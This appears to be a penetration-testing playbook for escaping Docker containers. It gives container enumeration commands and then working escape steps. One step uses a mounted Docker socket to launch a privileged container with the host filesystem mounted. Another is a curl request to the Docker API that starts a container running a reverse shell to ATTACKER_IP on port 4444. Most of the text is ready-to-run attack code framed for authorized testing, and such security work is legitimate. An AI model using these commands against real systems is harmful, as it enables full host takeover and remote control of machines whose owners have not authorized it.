docker-container-escape

Docker Container Escape

When to Use

• When you have shell access inside a Docker container during a pentest
• When testing Kubernetes pods for breakout vulnerabilities
• When assessing container security configurations
• When testing for privilege escalation from container to host

Prerequisites

• Shell access (user or limited privilege) on the target system
• Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
• Understanding of the target OS privilege model and common misconfigurations
• Ability to transfer files or compile tools on the target

Workflow

Phase 1: Container Detection & Enumeration

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname  # Container IDs look like hex strings: a1b2c3d4e5f6

# Automated detection
# amicontained — container introspection tool
./amicontained

# DeepCE — Docker Privilege Escalation scanner
./deepce.sh

# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check capabilities
capsh --print
cat /proc/self/status | grep Cap

# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!

# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts

Phase 2: Docker Socket Escape (Most Common)

# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted

# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  -v /:/hostfs alpine:latest chroot /hostfs bash

# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true
    }
  }'

# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start